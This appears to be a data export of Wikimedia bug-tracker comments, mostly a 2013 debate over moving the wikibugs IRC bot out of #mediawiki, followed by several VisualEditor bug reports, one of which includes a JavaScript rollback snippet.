+210513,Move wikibugs out of #mediawiki to #wikimedia-dev,"Note that wikibugs is now 30 % less chatty, as bug 28402 was fixed (bug 28402 comment 8). It would maybe deserve a second chance. :)",,,1365658133,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0
+210508,Move wikibugs out of #mediawiki to #wikimedia-dev,Related URL: https://gerrit.wikimedia.org/r/58661 (Gerrit Change I588f2eba8fba9603f33386e54e90c03e2bb5f5f0),,,1365657518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210504,Move wikibugs out of #mediawiki to #wikimedia-dev,Ori submitted I10a02bfe to get this done when there is approval.,,,1365203841,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+210496,Move wikibugs out of #mediawiki to #wikimedia-dev,"What about moving them to #wikimedia-dev instead of #mediawiki?
+
+I think most (actively involved) developers that are on IRC aren't disturbed by the feed. If they really must they're experienced enough to not be afraid of a simple /ignore.
+
+Though I speak only for myself, I believe those that do want the feed, would prefer it to be in context of regular conversation, not in a separate channel.
+
+It's where random bits of interesting things come by from (e.g. discussing a change, proposing and and then someone does it or files a bug about it).
+
+It doesn't work when in a separate channel.
+
+See also #mediawiki-parsoid, #mediawiki-visualeditor, #wikimedia-operations, #wikimedia-mobile etc. (and same for third parties such as #jquery-dev and webkit).
+
+The problem is mainly with #mediawiki being a support channel instead of dev channel, not with having notifications in a human-occupied irc channel in general.",,,1363699186,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+210490,Move wikibugs out of #mediawiki to #wikimedia-dev,"de duping title, These are two issues that really should be discussed separately.",,,1363699112,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0
+210487,Move wikibugs out of #mediawiki to #wikimedia-dev,*** Bug 46282 has been marked as a duplicate of this bug. ***,,,1363698855,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+210484,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #22)
+> Right
+> now, wikibugs is reporting CC changes, when it used to not report those.
+
+This is what I just linked: bug 28402 aka bug 43130, which has a patch that someone needs to commit/review.",,,1363626815,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+210480,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #18)
+> That's not a valid reason, imho. We need a way to tone down what it reports,
+> if it's going to stay...the rate of bug reporting & commenting is many times
+> greater than it once was. It's definitely gotten noisier over the years,
+> which has reduced its utility.
+
+I believe I already said as much somewhere around here, but wikibugs _is_ producing more noise lately, as it was broken by the recent Bugzilla upgrade and nobody has fixed it (or deployed the fixes to it, I can't remember). Right now, wikibugs is reporting CC changes, when it used to not report those.",,,1363626526,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+210475,Move wikibugs out of #mediawiki to #wikimedia-dev,"We could schedule an IRC meeting, announce it ia wikitech-l mailing list, and tally votes/opinions on a wiki page.",,,1363618310,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+210471,Move wikibugs out of #mediawiki to #wikimedia-dev,"Could we move this debate to its target audience somehow, as I'm afraid that it won't be seen in this Bugzilla report? 
+I understand that's hard for IRC, but maybe a generic mailing list or RFC?",,,1363618174,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+210469,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #18)
+> That's not a valid reason, imho. We need a way to tone down what it reports,
+> if
+> it's going to stay...the rate of bug reporting & commenting is many times
+> greater than it once was. It's definitely gotten noisier over the years,
+> which
+> has reduced its utility.
+
+Reduced it's utility -> in the main support channel. The bot *is* useful, I just think it drowns out conversation these days.",,,1363617531,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1
+210467,Move wikibugs out of #mediawiki to #wikimedia-dev,"That's not a valid reason, imho. We need a way to tone down what it reports, if it's going to stay...the rate of bug reporting & commenting is many times greater than it once was. It's definitely gotten noisier over the years, which has reduced its utility.",,,1363617489,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+210461,Move wikibugs out of #mediawiki to #wikimedia-dev,Bumping importance back down; wikibugs belongs on #mediawiki as it's always been. Recommend WONTFIX.,,,1363617399,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+210454,Move wikibugs out of #mediawiki to #wikimedia-dev,"Upping priority, adjusting summary, reopening.",,,1363617125,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+210448,Move wikibugs out of #mediawiki to #wikimedia-dev,"I've created bug 46282 about kicking gerrit-wm instead, per myself & p858snake.",,,1363616978,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+210443,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #13)
+> wikibugs appears to be in #mediawiki right now and is happily reporting bug
+> updates...
+
+This required me unquieting and unbanning the bot and Tim re-adding the bot to the channel.
+
+(In reply to comment #9)
+> Moving it's easier said than done, since it's not puppetized properly, but
+> that can be worked around.
+
+It's pretty easy. You change ""mediawiki"" to something else (e.g., ""mediawiki-feeds"").
+
+> Long term--wouldn't improvements to wm-bot be a good idea too?
+
+Absolutely. In the short-to-medium term, STOP KICKING THE BOT ON A WHIM.",,,1363375114,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,0,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1
+210438,Move wikibugs out of #mediawiki to #wikimedia-dev,wikibugs appears to be in #mediawiki right now and is happily reporting bug updates...,,,1363368845,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+210433,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #11)
+> (In reply to comment #7)
+> > Hashar kicked it yesterday... Adding hashar to CC.
+> 
+> I have not kicked wikibugs out of any IRC channel. Additionally, I have ZERO
+> interest in wikibugs nowadays nor am I able to do anything about it. Sorry.
+
+Ah it was ^demon. Sorry for my bad memory.",,,1363358615,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+210428,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #7)
+> Hashar kicked it yesterday... Adding hashar to CC.
+
+I have not kicked wikibugs out of any IRC channel. Additionally, I have ZERO interest in wikibugs nowadays nor am I able to do anything about it. Sorry.",,,1363353592,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-16,,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+210424,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #8)
+> If we kick any single bot, Gerrit produces a-lot more cruft lately than
+> wikibugs... I, as having pointed out would prefer them all in a separate
+> channel that is moderated and only the bots are voiced.
+
+This. wikibugs is useful, it tends to notify about semi-interesting things that are happening (unless it notifies that someone CC'd himself on something, but that's another bug).
+
+gerrit-wm tends to spam about changes being merged to wmf branches.",,,1363347600,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-16,,1,1,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+210421,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #6)
+> (In reply to comment #5)
+> Lets move it into #mediawiki-feed or another channel then. It provides a
+> better
+> service than wm-bot does (comment 1), and people find it useful. If the
+> specific channel that it's in is a problem, move the bot, don't just kill it.
+
+Moving it's easier said than done, since it's not puppetized properly, but that can be worked around.
+
+Long term--wouldn't improvements to wm-bot be a good idea too?",,,1363346924,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+210416,Move wikibugs out of #mediawiki to #wikimedia-dev,"Lets take this the mailing list again...
+
+(But my two cents)
+If we kick any single bot, Gerrit produces a-lot more cruft lately than wikibugs... I, as having pointed out would prefer them all in a separate channel that is moderated and only the bots are voiced.",,,1363346843,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+210411,Move wikibugs out of #mediawiki to #wikimedia-dev,Hashar kicked it yesterday... Adding hashar to CC.,,,1363346799,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+210405,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #5)
+ 
+> We've had *contributors* complaining about the bot(s) for the past couple of
+> months/years.
+
+So then lets fix the problem, not just shut off a service people find useful.
+> 
+> I really don't think two/three people saying ""I LIKE THE BOT IN #MEDIAWIKI SO
+> LEAVE IT THE HELL ALONE"" trumps the wider problems here...that the bot
+> *needs*
+> to go.
+
+Lets move it into #mediawiki-feed or another channel then. It provides a better service than wm-bot does (comment 1), and people find it useful. If the specific channel that it's in is a problem, move the bot, don't just kill it.",,,1363346711,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+210399,Move wikibugs out of #mediawiki to #wikimedia-dev,"We actively had a user saying ""This channel obviously isn't for support...two pages of scrollback and I've spotted 2 real people."" This is a bad thing, contrary to what you may think.
+
+We've had *contributors* complaining about the bot(s) for the past couple of months/years.
+
+I really don't think two/three people saying ""I LIKE THE BOT IN #MEDIAWIKI SO LEAVE IT THE HELL ALONE"" trumps the wider problems here...that the bot *needs* to go.",,,1363346397,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+210396,Move wikibugs out of #mediawiki to #wikimedia-dev,*** Bug 46139 has been marked as a duplicate of this bug. ***,,,1363338334,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+210392,Move wikibugs out of #mediawiki to #wikimedia-dev,15 04:19:44 -!- wikibugs [~wikibugs@mchenry.wikimedia.org] has joined #mediawiki,,,1363321422,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+210389,Move wikibugs out of #mediawiki to #wikimedia-dev,"15 04:03:39 < Susan> Can someone please take a look at <https://bugzilla.wikimedia.org/show_bug.cgi?id=46144>?
+15 04:16:04 < jeremyb_> Susan: i did
+15 04:16:18 < Susan> Helpful.
+15 04:16:19 < jeremyb_> (a while ago)
+15 04:16:29 < jeremyb_> Susan: it was kicked. people didn't like the spamming
+15 04:16:37 < Susan> I don't like people.
+15 04:16:39 < Susan> I think we're even.
+15 04:16:41 < jeremyb_> there was a user trying to get help and had trouble because of the flood
+15 04:16:52 < jeremyb_> (wasn't my decision i only saw the scrollback)
+15 04:17:03 < jeremyb_> Susan: anyway, there's #mediawiki-feed for now
+15 04:17:10 < Susan> It's a terrible replacement.
+15 04:17:15 < Susan> As it's missing wikibugs.
+15 04:17:28 < jeremyb_> it has wm-bot providing a similar service
+15 04:17:31 < jeremyb_> i witnessed it
+15 04:17:50 < jeremyb_> and you've been there too
+15 04:18:34 < jeremyb_> Susan: at some point we should either let it back into #mediawiki or configure it to not join (and remove the ban). also we could maybe get wikibugs to join #mediawiki-feed if you really care
+15 04:18:48 < Susan> I do really care.",,,1363321307,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+210385,Move wikibugs out of #mediawiki to #wikimedia-dev,"wm-bot in #mediawiki-feed is not an acceptable replacement for wikibugs.
+
+For example, Quim added a comment here: bug 35508 comment 14.
+
+wm-bot reported this:
+
+<wm-bot> [bugzilla] (--- - created by: Sumana Harihareswara | priority: enhancement - Normal assignee Chad H.) [Bug 35508] List of Gerrit users - https://bugzilla.wikimedia.org/show_bug.cgi?id=35508
+
+I realize that this is a limitation of Bugzilla's RSS feed, but the output is still almost useless.",,,1363321220,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+48138,VisualEditor: Transaction with replaceMetadata then replace at the same offset doesn't rollback cleanly,"This is kind of a ridiculous case, but it cost me an hour of debugging time, so documenting it here for posterity. It won't be a practical issue until we start composing transactions together.
+
+Consider:
+
+var data = ve.dm.example.withMeta,
+    oldDoc = new ve.dm.Document( ve.copyArray( data ) ),
+    newDoc = new ve.dm.Document( ve.copyArray( data ) ),
+    tx = new ve.dm.Transaction();
+tx.pushRetain( 11 );
+tx.pushReplaceMetadata( [], [ { metadata element here } ] );
+tx.pushReplace( [] , [ 'a', 'b', 'c' ] );
+ve.dm.TransactionProcessor.commit( newDoc, tx );
+ve.dm.TransactionProcessor.rollback( newDoc, tx );
+
+After running this, you'd expect oldDoc.metadata and newDoc.metadata to be equal, but they're not:
+
+> oldDoc.metadata[11].length;
+4
+> newDoc.metadata[11].length;
+5
+
+When the transaction is rolled back, the metadata element that was added was never removed. I think this is because the content insertion pushes the metadata back, and then when the rollback tries to remove the metadata again, it can't find it. When the metadata replacement and content replacement are swapped, it works fine, so that's my workaround for now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1363300500,1682006049.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-2imau6pf732mnvgzug5k,task_description,invalid,True,c1,1,False,False,False,-16,,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+2110264,VisualEditor: Transaction with replaceMetadata then replace at the same offset doesn't rollback cleanly,There are no more metadata ops since T56299.,,,1682006049,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2imau6pf732mnvgzug5k,task_subcomment,,True,c1,3,True,,,511,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+48133,"VisualEditor: Redesign naming of canHaveChildren, ContentBranchNode, etc.","Trevor complained the naming of these things doesn't make sense, so let's sit down and come up with a strategy for renaming this stuff at some point.",Low,25.0,1363284960,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-o7nh4k5ffcmrnlrox5vs,task_description,open,True,c1,1,False,False,,-16,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+48048,VisualEditor: Allow testing dom<->data conversion with and without MW-specific nodes registered,"TODO comment in ve.dm.Converter.test.js:
+
+// TODO: this is a hack to make normal heading/preformatted
+// nodes the most recently registered, instead of the MW versions
+
+It's not entirely clear to me how we should fix this. Maybe once we hard-split the VE and MWVE code bases and each of these has its own test suite, then we won't have to worry about this as much.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1363131420,1372874201.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-2jnxk3ykpceaf3icyoim,task_description,resolved,True,c1,1,False,False,True,-16,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0
+229872,VisualEditor: Allow testing dom<->data conversion with and without MW-specific nodes registered,This was fixed in gerrit 70753.,,,1372874201,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2jnxk3ykpceaf3icyoim,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+47916,"VisualEditor: When Parsoid is down, error message is parsoidserver-http-200","When the Parsoid server is down completely (e.g. because you forgot to start it), the error message VE gives you is ""parsoidserver-http-200"". It's kind of ridiculous that it's presenting an error with 200, but it's also a lie: 200 wasn't the response code we got from Parsoid, we got no response whatsoever.
+
+--------------------------
+**Version**: unspecified
